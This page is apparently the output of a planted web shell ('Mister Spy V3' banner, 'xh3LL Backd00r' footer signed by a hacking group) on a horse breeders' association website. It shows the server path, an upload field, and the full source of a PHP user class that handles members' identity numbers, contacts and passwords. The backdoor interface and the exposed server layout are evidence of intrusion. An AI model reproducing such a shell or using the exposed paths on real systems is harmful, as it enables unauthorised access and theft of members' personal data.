Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.usuario.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.usuarios.php');
require_once('class.eventos.php');
require_once('class.inscripciones.php');


class Usuario
{
	public $IdUsuario;
	public $TipoPersona;
	public $Nombre;
	public $Apellido;
	public $RazonSocial;
	public $Denominacion;
	public $Dni;
	public $FNac;
	public $CUIT;
	public $Responsable;
	public $SucesionesIndivisas;
	public $NroSocio;
	public $TipoSocio;
	public $IdLocalidad;
	public $Localidad;
	public $IdDepartamento;
	public $Departamento;
	public $IdProvincia;
	public $Provincia;
	public $IdPais;
	public $Pais;
	public $DomicilioPostal;
	public $IdLocalidadPostal;
	public $LocalidadPostal;
	public $IdDepartamentoPostal;
	public $DepartamentoPostal;
	public $IdProvinciaPostal;
	public $ProvinciaPostal;
	public $IdPaisPostal;
	public $PaisPostal;
	public $CodigoPostal;
	public $Telefono1;
	public $CodPaisTelefono1;
	public $CodAreaTelefono1;
	public $Telefono2;
	public $CodPaisTelefono2;
	public $CodAreaTelefono2;
	public $Celular1;
	public $CodPaisCelular1;
	public $CodAreaCelular1;
	public $Celular2;
	public $CodPaisCelular2;
	public $CodAreaCelular2;
	public $Email1;
	public $Email2;
	public $Apodo;
	public $Usuario;
	public $Clave;
	public $Clave2;
	public $Eliminado;
	public $Estado;
	public $Domicilio;
	public $CP;
	public $WebExplotacion;
	public $EmailExplotacion;
	public $TelefonoExplotacion;
	public $IdZona;
	public $Cabania;
	public $CodAreaExplotacion;
	public $RepresentanteLegal;
	public $Empadronado;
	public $FechaEmpadronamiento;
	public $ContactoActualizado;

	public function __construct()
	{
		$this->IdUsuario 			= '';
		$this->TipoPersona			= '';
		$this->Nombre 				= '';
		$this->Apellido 			= '';
		$this->RazonSocial 			= '';
		$this->Denominacion 		= '';
		$this->Dni 					= '';
		$this->FNac 				= '';
		$this->CUIT 				= '';
		$this->Responsable 			= '';
		$this->SucesionesIndivisas 	= '';
		$this->NroSocio 			= '';
		$this->TipoSocio 			= '';
		$this->IdLocalidad 			= '';
		$this->Localidad			= '';
		$this->IdDepartamento		= '';
		$this->Departamento			= '';
		$this->IdProvincia 			= '';
		$this->Provincia			= '';
		$this->IdPais				= '';
		$this->Pais					= '';
		$this->DomicilioPostal 		= '';
		$this->IdLocalidadPostal 	= '';
		$this->LocalidadPostal		= '';
		$this->IdProvinciaPostal 	= '';
		$this->ProvinciaPostal		= '';
		$this->IdPaisPostal			= '';
		$this->PaisPostal			= '';
		$this->CodigoPostal 		= '';
		$this->Telefono1 			= '';
		$this->CodPaisTelefono1		= '';
		$this->CodAreaTelefono1 	= '';
		$this->Telefono2 			= '';
		$this->CodPaisTelefono2		= '';
		$this->CodAreaTelefono2 	= '';
		$this->Celular1 			= '';
		$this->CodPaisCelular1		= '';
		$this->CodAreaCelular1		= '';
		$this->Celular2 			= '';
		$this->CodPaisCelular2		= '';
		$this->CodAreaCelular2		= '';
		$this->Email1 				= '';
		$this->Email2 				= '';
		$this->Apodo				= '';
		$this->Usuario 				= '';
		$this->Clave 				= '';
		$this->Clave2 				= '';
		$this->Estado 				= '';
		$this->Eliminado		 	= '';
		$this->Domicilio		 	= '';
		$this->CP				 	= '';
		$this->WebExplotacion	 	= '';
		$this->EmailExplotacion	 	= '';
		$this->TelefonoExplotacion 	= '';
		$this->IdZona			 	= '';
		$this->Cabania			 	= '';
		$this->CodAreaExplotacion	= '';
		$this->RepresentanteLegal	= '';
		$this->Empadronado			= 0;
		$this->FechaEmpadronamiento = '';
		$this->ContactoActualizado	= 0;
	}
	
	
	public function ParseFromArray(array $arr)
	{
		$this->IdUsuario 			= $arr['IdUsuario'];
		$this->TipoPersona			= $arr['TipoPersona'];
		$this->Nombre 				= $arr['Nombre'];
		$this->Apellido 			= $arr['Apellido'];
		$this->RazonSocial 			= $arr['RazonSocial'];
		$this->Denominacion 		= $arr['Denominacion'];
		$this->Dni 					= $arr['Dni'];
		$this->FNac 				= $arr['FNac'];
		$this->CUIT 				= $arr['CUIT'];
		$this->Responsable 			= $arr['Responsable'];
		$this->SucesionesIndivisas 	= $arr['SucesionesIndivisas'];
		$this->NroSocio 			= $arr['NroSocio'];
		$this->TipoSocio 			= $arr['TipoSocio'];
		$this->IdLocalidad 			= $arr['IdLocalidad'];
		$this->Localidad			= $arr['Localidad'];
		$this->IdDepartamento		= $arr['IdDepartamento'];
		$this->Departamento			= $arr['Departamento'];
		$this->IdProvincia 			= $arr['IdProvincia'];
		$this->Provincia			= $arr['Provincia'];
		$this->IdPais				= $arr['IdPais'];
		$this->Pais					= $arr['Pais'];
		$this->DomicilioPostal 		= $arr['DomicilioPostal'];
		$this->IdLocalidadPostal 	= $arr['IdLocalidadPostal'];
		$this->LocalidadPostal		= $arr['LocalidadPostal'];
		$this->IdDepartamentoPostal	= $arr['IdDepartamentoPostal'];
		$this->DepartamentoPostal	= $arr['DepartamentoPostal'];
		$this->IdProvinciaPostal 	= $arr['IdProvinciaPostal'];
		$this->ProvinciaPostal		= $arr['ProvinciaPostal'];
		$this->IdPaisPostal			= $arr['IdPaisPostal'];
		$this->PaisPostal			= $arr['PaisPostal'];
		$this->CodigoPostal 		= $arr['CodigoPostal'];
		$this->Telefono1 			= $arr['Telefono1'];
		$this->CodPaisTelefono1 	= $arr['CodPaisTelefono1'];
		$this->CodAreaTelefono1		= $arr['CodAreaTelefono1'];
		$this->Telefono2 			= $arr['Telefono2'];
		$this->CodPaisTelefono2 	= $arr['CodPaisTelefono2'];
		$this->CodAreaTelefono2		= $arr['CodAreaTelefono2'];
		$this->Celular1 			= $arr['Celular1'];
		$this->CodPaisCelular1 		= $arr['CodPaisCelular1'];
		$this->CodAreaCelular1 		= $arr['CodAreaCelular1'];
		$this->Celular2 			= $arr['Celular2'];
		$this->CodPaisCelular2 		= $arr['CodPaisCelular2'];
		$this->CodAreaCelular2 		= $arr['CodAreaCelular2'];
		$this->Email1 				= $arr['Email1'];
		$this->Email2 				= $arr['Email2'];
		$this->Apodo				= $arr['Apodo'];
		$this->Usuario 				= $arr['Usuario'];
		$this->Clave 				= $arr['Clave'];
		$this->Clave2 				= $arr['Clave2'];
		$this->Estado 				= $arr['Estado'];
		$this->Eliminado		 	= $arr['Eliminado'];
		$this->Domicilio		 	= $arr['Domicilio'];
		$this->CP				 	= $arr['CP'];
		$this->WebExplotacion	 	= $arr['WebExplotacion'];
		$this->EmailExplotacion	 	= $arr['EmailExplotacion'];
		$this->TelefonoExplotacion 	= $arr['TelefonoExplotacion'];
		$this->IdZona			 	= $arr['IdZona'];
		$this->Cabania			 	= $arr['Cabania'];
		$this->CodAreaExplotacion 	= $arr['CodAreaExplotacion'];
		$this->RepresentanteLegal	= $arr['RepresentanteLegal'];
		$this->Empadronado			= $arr['Empadronado'];
		$this->FechaEmpadronamiento	= $arr['FechaEmpadronamiento'];
		$this->ContactoActualizado	= $arr['ContactoActualizado'];
	}
	
	
	public function SendMailInscripcion($IdEvento, $oAnimal)
	{
		$Eventos = new Eventos();
		
		/* obtenemos la denominacion */
		$Denominacion = $Eventos->GetDenominacionById($IdEvento);
		
		/* ausnto del mail */
		$Asunto = "REGISTRACIÓN A " . strtoupper($Denominacion);
	
		/* a quien enviamos */
		$Email = $this->Email1;
		
		/* mensaje */
		$Mensaje = "<b>".$this->Nombre . $this->Apellido . "</b>, ";
		$Mensaje.= "la registración de <b>" . $oAnimal->NOMB . "</b> al evento " . $Denominacion . " ha sido realizado con éxito!";
		$Mensaje.= "<br><br>";
		$Mensaje.= "<b>Datos del animal:</b>";
		$Mensaje.= "<br>";
		$Mensaje.= "SBA: " . $oAnimal->HBAE . "<br>";
		$Mensaje.= "RP: " . $oAnimal->RPEX . "<br>";
		$Mensaje.= "Nombre: " . $oAnimal->NOMB . "<br>";
		$Mensaje.= "Fecha de Nacimiento: " . $oAnimal->FNAC . "<br>";
		
		$Mensaje.= "<br><b>";
		$Mensaje.= $oAnimal->NOMB . " se ha inscripto a:</b><br><br>";
		
		if ($IdEventosMorfologicosCategoria != "")
		{
			$Mensaje.= "<b>Exp. Morfológica:</b><br>";
			$Mensaje.= "Se ha inscripto a la categoría " . $EventosMorfologicosCategorias->GetNombreById($IdEventosMorfologicosCategoria) . "<br><br>";
		}
		
		if ($Funcional == 1)
		{
			$Mensaje.= "<b>Exp. Funcional:</b><br>";
			
			foreach ($oEventosFuncionalesPruebasEventos as $Pruebas)
			{
				if (isset($_REQUEST[$Pruebas->IdEventosFuncionalesPrueba]) && $_REQUEST[$Pruebas->IdEventosFuncionalesPrueba] == $Pruebas->IdEventosFuncionalesPruebasCategoria)
				{
					$oPruebas 		= $EventosFuncionalesPruebas->GetById($Pruebas->IdEventosFuncionalesPrueba);
					$oCategorias 	= $EventosFuncionalesPruebasCategorias->GetById($Pruebas->IdEventosFuncionalesPruebasCategoria);
					
					$Mensaje.= "Prueba " . $oPruebas->Nombre . " " . $oCategorias->Nombre . "<br>";
				}
			}
		}
	
		$Mensaje.= "Muchas gracias por haber realizado la inscripción.<br><br>";
		$Mensaje.= "Por cualquier duda o consulta envie un correo electrónico a <a href='mailto:info@accc.com'>info@accc.com</a>";
	
		$Headers = "MIME-Version: 1.0\r\n";  
		$Headers.= "Content-type: text/html; charset=iso-8859-1\r\n";  
		$Headers.= "From: ACCC <ACCC>\r\n"; 
	
		mail($Email, $Asunto, $Mensaje, $Headers);
	}
	

	public function GetPropietario()
	{
		$Propietarios = new Propietarios();
		
		return $Propietarios->GetByUsuario($this);
	}


	public function GetAllPropietarios()
	{
		$Propietarios = new Propietarios();
		
		return $Propietarios->GetAllByUsuario($this);
	}


	public function GetCriador()
	{
		$Propietarios = new Propietarios();
		
		return $Propietarios->GetCriadorByUsuario($this);
	}


	public function GetAllCriadores()
	{
		$Propietarios = new Propietarios();
		
		return $Propietarios->GetAllCriadoresByUsuario($this);
	}

	
	public function GetAllInscripciones()
	{
		$Inscripciones = new Inscripciones();
		
		return $Inscripciones->GetAllByUsuario($this);
	}


	public function GetAllInscripcionesEvento($IdEvento)
	{
		$Inscripciones = new Inscripciones();
		
		return $Inscripciones->GetAllByUsuarioIdEvento($this, $IdEvento);
	}


	public function GetAllInscripcionesVigentes()
	{
		$Inscripciones = new Inscripciones();
		
		return $Inscripciones->GetAllVigentesByUsuario($this);
	}


	public function GetAllInscripcionesCerradas()
	{
		$Inscripciones = new Inscripciones();
		
		return $Inscripciones->GetAllCerradasByUsuario($this);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat